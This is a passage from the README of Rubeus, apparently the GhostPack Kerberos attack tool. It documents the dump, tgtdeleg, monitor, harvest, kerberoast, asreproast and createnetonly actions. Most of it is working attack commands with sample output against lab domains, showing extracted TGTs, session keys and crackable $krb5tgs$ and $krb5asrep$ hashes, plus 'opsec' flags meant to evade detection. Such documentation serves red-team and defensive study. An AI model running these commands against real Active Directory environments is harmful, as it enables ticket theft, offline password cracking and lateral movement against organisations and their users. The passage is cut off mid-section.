forwardable + StartTime : 2/11/2019 3:21:53 PM + EndTime : 2/11/2019 8:19:13 PM + RenewUntil : 2/18/2019 3:19:13 PM + TimeSkew : 0 + EncodedTicketSize : 1306 + Base64EncodedTicket : + + doIFFjCCBRKgAwIBBaEDAgEWoo...(snip)... + + ServiceName : krbtgt/TESTLAB.LOCAL + TargetName : krbtgt/TESTLAB.LOCAL + ClientName : harmj0y + DomainName : TESTLAB.LOCAL + TargetDomainName : TESTLAB.LOCAL + AltTargetDomainName : TESTLAB.LOCAL + SessionKeyType : aes256_cts_hmac_sha1 + Base64SessionKey : tKcszT8rdYyxBxBHlkpmJ/SEsfON8mBMs4ZN/29Xv8A= + KeyExpirationTime : 12/31/1600 4:00:00 PM + TicketFlags : name_canonicalize, pre_authent, initial, renewable, forwardable + StartTime : 2/11/2019 3:19:13 PM + EndTime : 2/11/2019 8:19:13 PM + RenewUntil : 2/18/2019 3:19:13 PM + TimeSkew : 0 + EncodedTicketSize : 1338 + Base64EncodedTicket : + + doIFNjCCBTKgAwIBBaEDAgEWoo...(snip)... + + ...(snip)... + + + [*] Enumerated 3 total tickets + [*] Extracted 3 total tickets + + +**Elevated** extraction of all TGTs on a system: + + C:\Rubeus>Rubeus.exe dump /service:krbtgt + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.3 + + + + [*] Action: Dump Kerberos Ticket Data (All Users) + + [*] Target service : krbtgt + + + UserName : harmj0y + Domain : TESTLAB + LogonId : 0x47869cc + UserSID : S-1-5-21-883232822-274137685-4173207997-1111 + AuthenticationPackage : Negotiate + LogonType : Interactive + LogonTime : 2/11/2019 11:05:31 PM + LogonServer : PRIMARY + LogonServerDNSDomain : TESTLAB.LOCAL + UserPrincipalName : harmj0y@testlab.local + + [*] Enumerated 3 ticket(s): + + ServiceName : krbtgt/TESTLAB.LOCAL + TargetName : krbtgt/TESTLAB.LOCAL + ClientName : harmj0y + DomainName : TESTLAB.LOCAL + TargetDomainName : TESTLAB.LOCAL + AltTargetDomainName : TESTLAB.LOCAL + SessionKeyType : rc4_hmac + Base64SessionKey : y4LL+W3KZoOjnwsiwf150g== + KeyExpirationTime : 12/31/1600 4:00:00 PM + TicketFlags : name_canonicalize, pre_authent, renewable, forwarded, forwardable + StartTime : 2/11/2019 3:23:50 PM + EndTime : 2/11/2019 8:19:13 PM + RenewUntil : 2/18/2019 3:19:13 PM + TimeSkew : 0 + EncodedTicketSize : 1306 + Base64EncodedTicket : + + doIFFjCCBRKgAwIBBaEDAgEWoo...(snip)... + + ...(snip)... + + UserName : WINDOWS10$ + Domain : TESTLAB + LogonId : 0x3e4 + UserSID : S-1-5-20 + AuthenticationPackage : Negotiate + LogonType : Service + LogonTime : 2/7/2019 4:51:20 PM + LogonServer : + LogonServerDNSDomain : testlab.local + UserPrincipalName : WINDOWS10$@testlab.local + + [*] Enumerated 4 ticket(s): + + ServiceName : krbtgt/TESTLAB.LOCAL + TargetName : krbtgt/TESTLAB.LOCAL + ClientName : WINDOWS10$ + DomainName : TESTLAB.LOCAL + TargetDomainName : TESTLAB.LOCAL + AltTargetDomainName : TESTLAB.LOCAL + SessionKeyType : rc4_hmac + Base64SessionKey : 0NgsSyZ/XOCTi9wLR1z9Kg== + KeyExpirationTime : 12/31/1600 4:00:00 PM + TicketFlags : name_canonicalize, pre_authent, renewable, forwarded, forwardable + StartTime : 2/11/2019 3:23:50 PM + EndTime : 2/11/2019 7:23:48 PM + RenewUntil : 2/18/2019 2:23:48 PM + TimeSkew : 0 + EncodedTicketSize : 1304 + Base64EncodedTicket : + + doIFFDCCBRCgAwIBBaEDAgEWoo...(snip)... + + ...(snip)... + + + [*] Enumerated 20 total tickets + [*] Extracted 9 total tickets + + +### tgtdeleg + +The **tgtdeleg** using [@gentilkiwi](https://twitter.com/gentilkiwi)'s [Kekeo](https://github.com/gentilkiwi/kekeo/) trick (**tgt::deleg**) that abuses the Kerberos GSS-API to retrieve a usable TGT for the current user without needing elevation on the host. AcquireCredentialsHandle() is used to get a handle to the current user's Kerberos security credentials, and InitializeSecurityContext() with the ISC_REQ_DELEGATE flag and a target SPN of HOST/DC.domain.com to prepare a fake delegate context to send to the DC. This results in an AP-REQ in the GSS-API output that contains a KRB_CRED in the authenticator checksum. The service ticket session key is extracted from the local Kerberos cache and is used to decrypt the KRB_CRED in the authenticator, resulting in a usable TGT .kirbi. + +If automatic target/domain extraction is failing, a known SPN of a service configured with unconstrained delegation can be specified with `/target:SPN`. + + C:\Rubeus>Rubeus.exe tgtdeleg + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.3 + + + [*] Action: Request Fake Delegation TGT (current user) + + [*] No target SPN specified, attempting to build 'HOST/dc.domain.com' + [*] Initializing Kerberos GSS-API w/ fake delegation for target 'HOST/PRIMARY.testlab.local' + [+] Kerberos GSS-API initialization success! + [+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output. + [*] Found the AP-REQ delegation ticket in the GSS-API output. + [*] Authenticator etype: aes256_cts_hmac_sha1 + [*] Extracted the service ticket session key from the ticket cache: YnEFxPfqw3LdfNvLtdFfzaFf7zG3hG+HNjesy+6R+ys= + [+] Successfully decrypted the authenticator + [*] base64(ticket.kirbi): + + doIFNjCCBTKgAwIBBaEDAgEWoo...(snip)... + + +### monitor + +The **monitor** action will periodically extract all TGTs every `/monitorinterval:X` seconds (default of 60) and display any newly captured TGTs. A `/targetuser:USER` can be specified, returning only ticket data for said user. This function is especially useful on servers with unconstrained delegation enabled ;) + +When the `/targetuser:USER` (or if not specified, any user) creates a new 4624 logon event, any extracted TGT KRB-CRED data is output. + +The `/nowrap` flag causes the base64 encoded ticket output to no wrap per line. + +If you want **monitor** to run for a specific period of time, use `/runfor:SECONDS`. + +Further, if you wish to save the output to the registry, pass the `/registry` flag and specfiy a path under HKLM to create (e.g., `/registry:SOFTWARE\MONITOR`). Then you can remove this entry after you've finished running Rubeus by `Get-Item HKLM:\SOFTWARE\MONITOR\ | Remove-Item -Recurse -Force`. + + c:\Rubeus>Rubeus.exe monitor /targetuser:DC$ /interval:10 + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.5.0 + + [*] Action: TGT Monitoring + [*] Target user : DC$ + [*] Monitoring every 10 seconds for new TGTs + + + [*] 12/21/2019 11:10:16 PM UTC - Found new TGT: + + User : DC$@THESHIRE.LOCAL + StartTime : 12/21/2019 2:44:31 PM + EndTime : 12/21/2019 3:44:31 PM + RenewTill : 12/28/2019 2:13:06 PM + Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable + Base64EncodedTicket : + + doIFFDCCBRCgAwIBBaEDAgEWoo...(snip)... + + [*] Ticket cache size: 1 + + +**Note that this action needs to be run from an elevated context!** + + +### harvest + +The **harvest** action takes [monitor](#monitor) one step further. It periodically extract all TGTs every `/monitorinterval:X` seconds (default of 60), extracts any new TGT KRB-CRED files, and keeps a cache of any extracted TGTs. Every interval, any TGTs that will expire before the next interval are automatically renewed (up until their renewal limit). Every `/displayinterval:X` seconds (default of 1200) and the current cache of "usable"/valid TGT KRB-CRED .kirbis are output as base64 blobs. + +This allows you to harvest usable TGTs from a system without opening up a read handle to LSASS, though elevated rights are needed to extract the tickets. + +The `/nowrap` flag causes the base64 encoded ticket output to no wrap per line. + +If you want **harvest** to run for a specific period of time, use `/runfor:SECONDS`. + +Further, if you wish to save the output to the registry, pass the `/registry` flag and specfiy a path under HKLM to create (e.g., `/registry:SOFTWARE\MONITOR`). Then you can remove this entry after you've finished running Rubeus by `Get-Item HKLM:\SOFTWARE\MONITOR\ | Remove-Item -Recurse -Force`. + + c:\Rubeus>Rubeus.exe harvest /interval:30 + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v0.0.1a + + [*] Action: TGT Harvesting (w/ auto-renewal) + + [*] Monitoring every 30 minutes for 4624 logon events + + ...(snip)... + + [*] Renewing TGT for dfm.a@TESTLAB.LOCAL + [*] Connecting to 192.168.52.100:88 + [*] Sent 1520 bytes + [*] Received 1549 bytes + + [*] 9/17/2018 6:43:02 AM - Current usable TGTs: + + User : dfm.a@TESTLAB.LOCAL + StartTime : 9/17/2018 6:43:02 AM + EndTime : 9/17/2018 11:43:02 AM + RenewTill : 9/24/2018 2:07:48 AM + Flags : name_canonicalize, renewable, forwarded, forwardable + Base64EncodedTicket : + + doIFujCCBbagAw...(snip)... + +**Note that this action needs to be run from an elevated context!** + + +## Roasting + +Breakdown of the roasting commands: + +| Command | Description | +| ----------- | ----------- | +| [kerberoast](#kerberoast) | Perform Kerberoasting against all (or specified) users | +| [asreproast](#asreproast) | Perform AS-REP roasting against all (or specified) users | + + +### kerberoast + +The **kerberoast** action replaces the [SharpRoast](https://github.com/GhostPack/SharpRoast) project's functionality. Like SharpRoast, this action uses the [KerberosRequestorSecurityToken.GetRequest Method()](https://msdn.microsoft.com/en-us/library/system.identitymodel.tokens.kerberosrequestorsecuritytoken.getrequest(v=vs.110).aspx) method that was contributed to PowerView by [@machosec](https://twitter.com/machosec) in order to request the proper service ticket (for default behavior, [opsec table](#kerberoasting-opsec) for more detail). Unlike SharpRoast, this action now performs proper ASN.1 parsing of the result structures. + +With no other arguments, all user accounts with SPNs set in the current domain are Kerberoasted, _requesting their highest supported encryption type_ (see the [opsec table](#kerberoasting-opsec)). The `/spn:X` argument roasts just the specified SPN, the `/user:X` argument roasts just the specified user, and the `/ou:X` argument roasts just users in the specific OU. The `/domain` and `/dc` arguments are optional, pulling system defaults as other actions do. + +The `/stats` flag will output statistics about kerberoastable users found, including a breakdown of supported encryption types and years user passwords were last set. This flag can be combined with other targeting options. + +The `/outfile:FILE` argument outputs roasted hashes to the specified file, one per line. + +If the `/simple` flag is specified, roasted hashes will be output to the console, one per line. + +If the `/nowrap` flag is specified, Kerberoast results will not be line-wrapped. + +If the the TGT `/ticket:X` supplied (base64 encoding of a .kirbi file or the path to a .kirbi file on disk) that TGT is used to request the service service tickets during roasting. If `/ticket:X` is used with `/spn:Y` or `/spns:Y` (`/spns:` can be a file containing each SPN on a new line or a comma separated list) then no LDAP searching happens for users, so it can be done from a non-domain joined system in conjunction with `/dc:Z`. + +If the `/tgtdeleg` flag is supplied, the [tgtdeleg](#tgtdeleg) trick it used to get a usable TGT for the current user, which is then used for the roasting requests. If this flag is used, accounts with AES enabled in **msDS-SupportedEncryptionTypes** will have RC4 tickets requested. + +If the `/aes` flag is supplied, accounts with AES encryption enabled in **msDS-SupportedEncryptionTypes** are enumerated and AES service tickets are requested. + +If the `/ldapfilter:X` argument is supplied, the supplied LDAP filter will be added to the final LDAP query used to find Kerberoastable users. + +If the `/rc4opsec` flag is specified, the **tgtdeleg** trick is used, and accounts **without** AES enabled are enumerated and roasted. + +If you want to use alternate domain credentials for Kerberoasting (and searching for users to Kerberoast), they can be specified with `/creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD`. + +If the `/pwdsetafter:MM-dd-yyyy` argument is supplied, only accounts whose password was last changed after MM-dd-yyyy will be enumerated and roasted. + +If the `/pwdsetbefore:MM-dd-yyyy` argument is supplied, only accounts whose password was last changed before MM-dd-yyyy will be enumerated and roasted. + +If the `/resultlimit:NUMBER` argument is specified, the number of accounts that will be enumerated and roasted is limited to NUMBER. + +If the `/delay:MILLISECONDS` argument is specified, that number of milliseconds is paused between TGS requests. The `/jitter:1-100` flag can be combined for a % jitter. + +If the `/enterprise` flag is used, the spn is assumed to be an enterprise principal (i.e. *user@domain.com*). This flag only works when kerberoasting with a TGT. + +If the `/autoenterprise` flag is used, if roasting an SPN fails (due to an invalid or duplicate SPN) Rubeus will automatically retry using the enterprise principal. This is only useful when `/spn` or `/spns` is *not* supplied as Rubeus needs to know the target accounts samaccountname, which it gets when querying LDAP for the account information. + +If the `/ldaps` flag is used, any LDAP queries will go over TLS (port 636). + + +#### kerberoasting opsec + +Here is a table comparing the behavior of various flags from an opsec perspective: + +| Arguments | Description | +| ----------- | ----------- | +| **none** | Use KerberosRequestorSecurityToken roasting method, roast w/ highest supported encryption | +| **/tgtdeleg** | Use the **tgtdeleg** trick to perform TGS-REQ requests of RC4-enabled accounts, roast all accounts w/ RC4 specified | +| **/ticket:X** | Use the supplied TGT blob/file for TGS-REQ requests, roast all accounts w/ RC4 specified | +| **/rc4opsec** | Use the **tgtdeleg** trick, enumerate accounts _without_ AES enabled, roast w/ RC4 specified | +| **/aes** | Enumerate accounts with AES enabled, use KerberosRequestorSecurityToken roasting method, roast w/ highest supported encryption | +| **/aes /tgtdeleg** | Use the **tgtdeleg** trick, enumerate accounts with AES enabled, roast w/ AES specified | +| **/pwdsetafter:X** | Use the supplied date and only enumerate accounts with password last changed after that date | +| **/pwdsetbefore:X** | Use the supplied date and only enumerate accounts with password last changed before that date | +| **/resultlimit:X** | Use the specified number to limit the accounts that will be roasted | + +#### Examples + +Kerberoasting all users in the current domain using the default `KerberosRequestorSecurityToken.GetRequest` method: + + C:\Rubeus>Rubeus.exe kerberoast + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.4 + + + [*] Action: Kerberoasting + + + [*] SamAccountName : harmj0y + [*] DistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local + [*] ServicePrincipalName : asdf/asdfasdf + [*] Hash : $krb5tgs$23$*$testlab.local$asdf/asdfasdf*$AE5F019D4CDED6CD74830CC...(snip)... + + + [*] SamAccountName : sqlservice + [*] DistinguishedName : CN=SQL,CN=Users,DC=testlab,DC=local + [*] ServicePrincipalName : MSSQLSvc/SQL.testlab.local + [*] Hash : $krb5tgs$23$*$testlab.local$MSSQLSvc/SQL.testlab.local*$E2B3869290...(snip)... + + ...(snip)... + + +Kerberoasting all users in a specific OU, saving the hashes to an output file: + + C:\Rubeus>Rubeus.exe kerberoast /ou:OU=TestingOU,DC=testlab,DC=local /outfile:C:\Temp\hashes.txt + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.4 + + + [*] Action: Kerberoasting + + [*] Target OU : OU=TestingOU,DC=testlab,DC=local + + [*] SamAccountName : testuser2 + [*] DistinguishedName : CN=testuser2,OU=TestingOU,DC=testlab,DC=local + [*] ServicePrincipalName : service/host + [*] Hash written to C:\Temp\hashes.txt + + [*] Roasted hashes written to : C:\Temp\hashes.txt + + +Perform Kerberoasting using the `tgtdeleg` trick to get a usable TGT, requesting tickets only for accounts whose password was last set between 01-31-2005 and 03-29-2010, returning up to 3 service tickets: + + C:\Rubeus>Rubeus.exe kerberoast /tgtdeleg /pwdsetafter:01-31-2005 /pwdsetbefore:03-29-2010 /resultlimit:3 + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.5.0 + + + [*] Action: Kerberoasting + + [*] Using 'tgtdeleg' to request a TGT for the current user + [*] RC4_HMAC will be the requested for AES-enabled accounts, all etypes will be requested for everything else + [*] Searching the current domain for Kerberoastable users + [*] Searching for accounts with lastpwdset from 01-31-2005 to 03-29-2010 + [*] Up to 3 result(s) will be returned + + [*] Total kerberoastable users : 3 + + + [*] SamAccountName : harmj0y + [*] DistinguishedName : CN=harmj0y,OU=TestOU,DC=theshire,DC=local + [*] ServicePrincipalName : testspn/server + [*] PwdLastSet : 5/31/2008 12:00:02 AM + [*] Supported ETypes : AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96 + [*] Hash : $krb5tgs$23$*harmj0y$theshire.local$testspn/server*$F6EEFE5026CF8F02E3DC...(snip)... + + + [*] SamAccountName : constraineduser + [*] DistinguishedName : CN=constraineduser,CN=Users,DC=theshire,DC=local + [*] ServicePrincipalName : blah/blah123 + [*] PwdLastSet : 9/5/2009 7:48:50 PM + [*] Supported ETypes : RC4_HMAC + [*] Hash : $krb5tgs$23$*constraineduser$theshire.local$blah/blah123*$6F0992C377AA12...(snip)... + + + [*] SamAccountName : newuser + [*] DistinguishedName : CN=newuser,CN=Users,DC=theshire,DC=local + [*] ServicePrincipalName : blah/blah123456 + [*] PwdLastSet : 9/12/2008 8:05:16 PM + [*] Supported ETypes : RC4_HMAC, AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96 + [*] Hash : $krb5tgs$23$*newuser$theshire.local$blah/blah123456*$C4561559C2A7DF07712...(snip)... + + +List statistics about found Kerberoastable accounts without actually sending ticket requests: + + C:\Rubeus>Rubeus.exe kerberoast /stats + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.5.0 + + + [*] Action: Kerberoasting + + [*] Listing statistics about target users, no ticket requests being performed. + [*] Searching the current domain for Kerberoastable users + + [*] Total kerberoastable users : 4 + + + ---------------------------------------------------------------------- + | Supported Encryption Type | Count | + ---------------------------------------------------------------------- + | RC4_HMAC_DEFAULT | 1 | + | RC4_HMAC | 1 | + | AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96 | 1 | + | RC4_HMAC, AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96 | 1 | + ---------------------------------------------------------------------- + + ---------------------------------- + | Password Last Set Year | Count | + ---------------------------------- + | 2019 | 4 | + ---------------------------------- + + +Kerberoasting a specific user, with simplified hash output: + + C:\Rubeus>Rubeus.exe kerberoast /user:harmj0y /simple + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.5.0 + + + [*] Action: Kerberoasting + + [*] NOTICE: AES hashes will be returned for AES-enabled accounts. + [*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts. + + [*] Target User : harmj0y + [*] Searching the current domain for Kerberoastable users + + [*] Total kerberoastable users : 1 + + $krb5tgs$18$*harmj0y$theshire.local$testspn/server*$F63783C58AA153F24DFCC796A120C55C$06C6929374A2D3...(snip)... + + +Kerberoasting all users in a foreign _trusting_ domain, not line-wrapping the results: + + C:\Rubeus>Rubeus.exe kerberoast /domain:dev.testlab.local /nowrap + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.5.0 + + + [*] Action: Kerberoasting + + [*] Target Domain : dev.testlab.local + + [*] SamAccountName : jason + [*] DistinguishedName : CN=jason,CN=Users,DC=dev,DC=testlab,DC=local + [*] ServicePrincipalName : test/test + [*] Hash : $krb5tgs$23$*$dev.testlab.local$test/test@dev.testlab.local*$969339A82...(snip)... + + +Kerberoasting using an existing TGT: + + C:\Rubeus>Rubeus.exe kerberoast /ticket:doIFujCCBbagAwIBBaEDAgEWoo...(snip)... /spn:"asdf/asdfasdf" /dc:primary.testlab.local + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.5 + + + [*] Action: Kerberoasting + + [*] Using a TGT /ticket to request service tickets + + [*] Target SPN : asdf/asdfasdf + [*] Hash : $krb5tgs$23$*USER$DOMAIN$asdf/asdfasdf*$4EFF99FDED690AB4616EB...(snip)... + + +"Opsec" Kerberoasting, using the **tgtdeleg** trick, filtering out AES-enabled accounts: + + C:\Rubeus>Rubeus.exe kerberoast /rc4opsec + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.6 + + + [*] Action: Kerberoasting + + [*] Using 'tgtdeleg' to request a TGT for the current user + [*] Searching the current domain for Kerberoastable users + [*] Searching for accounts that only support RC4_HMAC, no AES + + [*] Found 6 users to Kerberoast! + + [*] SamAccountName : harmj0y + [*] DistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local + [*] ServicePrincipalName : asdf/asdfasdf + [*] Supported ETypes : RC4_HMAC_DEFAULT + [*] Hash : $krb5tgs$23$*harmj0y$testlab.local$asdf/asdfasdf*$6B4AD4B61D37D54...(snip)... + + +### asreproast + +The **asreproast** action replaces the [ASREPRoast](https://github.com/HarmJ0y/ASREPRoast/) project which executed similar actions with the (larger sized) [BouncyCastle](https://www.bouncycastle.org/) library. If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting. For more technical information, [see this post](https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/). + +Just as with the [kerberoast](#kerberoast) command, if no other arguments are supplied, all user accounts not requiring with Kerberos preauth not required are roasted. The `/user:X` argument roasts just the specified user, and the `/ou:X` argument roasts just users in the specific OU. The `/domain` and `/dc` arguments are optional, pulling system defaults as other actions do. + +The `/outfile:FILE` argument outputs roasted hashes to the specified file, one per line. + +Also, if you wanted to use alternate domain credentials for kerberoasting, that can be specified with `/creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD`. + +The output `/format:X` defaults to John the Ripper ([Jumbo version](https://github.com/magnumripper/JohnTheRipper)). `/format:hashcat` is also an option for the new hashcat mode 18200. + +If the `/ldaps` flag is used, any LDAP queries will go over TLS (port 636). + +AS-REP roasting all users in the current domain: + + C:\Rubeus>Rubeus.exe asreproast + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.4 + + + [*] Action: AS-REP roasting + + [*] Target Domain : testlab.local + + [*] SamAccountName : dfm.a + [*] DistinguishedName : CN=dfm.a,CN=Users,DC=testlab,DC=local + [*] Using domain controller: testlab.local (192.168.52.100) + [*] Building AS-REQ (w/o preauth) for: 'testlab.local\dfm.a' + [*] Connecting to 192.168.52.100:88 + [*] Sent 163 bytes + [*] Received 1537 bytes + [+] AS-REQ w/o preauth successful! + [*] AS-REP hash: + + $krb5asrep$dfm.a@testlab.local:D4A4BC281B200EE35CBF4A4537792D07$D655...(snip)... + + [*] SamAccountName : TestOU3user + [*] DistinguishedName : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local + [*] Using domain controller: testlab.local (192.168.52.100) + [*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user' + [*] Connecting to 192.168.52.100:88 + [*] Sent 169 bytes + [*] Received 1437 bytes + [+] AS-REQ w/o preauth successful! + [*] AS-REP hash: + + $krb5asrep$TestOU3user@testlab.local:DD6DF16B7E65223679CD703837C94FB...(snip).. + + [*] SamAccountName : harmj0y2 + [*] DistinguishedName : CN=harmj0y2,CN=Users,DC=testlab,DC=local + [*] Using domain controller: testlab.local (192.168.52.100) + [*] Building AS-REQ (w/o preauth) for: 'testlab.local\harmj0y2' + [*] Connecting to 192.168.52.100:88 + [*] Sent 166 bytes + [*] Received 1407 bytes + [+] AS-REQ w/o preauth successful! + [*] AS-REP hash: + + $krb5asrep$harmj0y2@testlab.local:7D2E379A076BB804AF275ED51B86BF85$8...(snip).. + + +AS-REP roasting all users in a specific OU, saving the hashes to an output file in Hashcat format: + + C:\Rubeus>Rubeus.exe asreproast /ou:OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local /format:hashcat /outfile:C:\Temp\hashes.txt + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.4 + + + [*] Action: AS-REP roasting + + [*] Target OU : OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local + [*] Target Domain : testlab.local + + [*] SamAccountName : TestOU3user + [*] DistinguishedName : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local + [*] Using domain controller: testlab.local (192.168.52.100) + [*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user' + [*] Connecting to 192.168.52.100:88 + [*] Sent 169 bytes + [*] Received 1437 bytes + [+] AS-REQ w/o preauth successful! + [*] Hash written to C:\Temp\hashes.txt + + [*] Roasted hashes written to : C:\Temp\hashes.txt + + +AS-REP roasting a specific user: + + C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.4 + + + [*] Action: AS-REP roasting + + [*] Target User : TestOU3user + [*] Target Domain : testlab.local + + [*] SamAccountName : TestOU3user + [*] DistinguishedName : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local + [*] Using domain controller: testlab.local (192.168.52.100) + [*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user' + [*] Connecting to 192.168.52.100:88 + [*] Sent 169 bytes + [*] Received 1437 bytes + [+] AS-REQ w/o preauth successful! + [*] AS-REP hash: + + $krb5asrep$TestOU3user@testlab.local:858B6F645D9F9B57210292E5711E0...(snip)... + + +AS-REP roasting all users in a foreign _trusting_ domain: + + C:\Rubeus>Rubeus.exe asreproast /domain:dev.testlab.local + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.4 + + + [*] Action: AS-REP roasting + + [*] Target Domain : dev.testlab.local + + [*] SamAccountName : devuser3 + [*] DistinguishedName : CN=devuser3,CN=Users,DC=dev,DC=testlab,DC=local + [*] Using domain controller: dev.testlab.local (192.168.52.105) + [*] Building AS-REQ (w/o preauth) for: 'dev.testlab.local\devuser3' + [*] Connecting to 192.168.52.105:88 + [*] Sent 175 bytes + [*] Received 1448 bytes + [+] AS-REQ w/o preauth successful! + [*] AS-REP hash: + + $krb5asrep$devuser3@dev.testlab.local:650B881E44B92FB6A378DD21E8B020...(snip)... + + +AS-REP roasting users in a foreign non-trusting domain using alternate credentials: + + C:\Rubeus>Rubeus.exe asreproast /domain:external.local /creduser:"EXTERNAL.local\administrator" /credpassword:"Password123!" + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.4 + + + [*] Action: AS-REP roasting + + [*] Target Domain : external.local + + [*] Using alternate creds : EXTERNAL.local\administrator + + [*] SamAccountName : david + [*] DistinguishedName : CN=david,CN=Users,DC=external,DC=local + [*] Using domain controller: external.local (192.168.52.95) + [*] Building AS-REQ (w/o preauth) for: 'external.local\david' + [*] Connecting to 192.168.52.95:88 + [*] Sent 165 bytes + [*] Received 1376 bytes + [+] AS-REQ w/o preauth successful! + [*] AS-REP hash: + + $krb5asrep$david@external.local:9F5A33465C53056F17FEFDF09B7D36DD$47DBAC3...(snip)... + + +## Miscellaneous + +Breakdown of the miscellaneous commands: + +| Command | Description | +| ----------- | ----------- | +| [createnetonly](#createnetonly) | Create a process of logon type 9 | +| [changepw](#changepw) | Perform the Aorato Kerberos password reset | +| [hash](#hash) | Hash a plaintext password to Kerberos encryption keys | +| [tgssub](#tgssub) | Substitute in alternate service names into a service ticket | +| [currentluid](#currentluid) | Display the current user's LUID | + + +### createnetonly + +The **createnetonly** action will use the CreateProcessWithLogonW() API to create a new hidden (unless `/show` is specified) process with a SECURITY_LOGON_TYPE of 9 (NewCredentials), the equivalent of runas /netonly. The process ID and LUID (logon session ID) are returned. This process can then be used to apply specific Kerberos tickets to with the [ptt /luid:0xA..](#ptt) parameter, assuming elevation. This prevents the erasure of existing TGTs for the current logon session. + +Create a hidden upnpcont.exe process: + + C:\Rubeus>Rubeus.exe createnetonly /program:"C:\Windows\System32\upnpcont.exe" + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.3 + + + [*] Action: Create Process (/netonly) + + [*] Showing process : False + [+] Process : 'C:\Windows\System32\upnpcont.exe' successfully created with LOGON_TYPE = 9 + [+] ProcessID : 9936 + [+] LUID : 0x4a0717f + + +Create a visible command prompt: + + 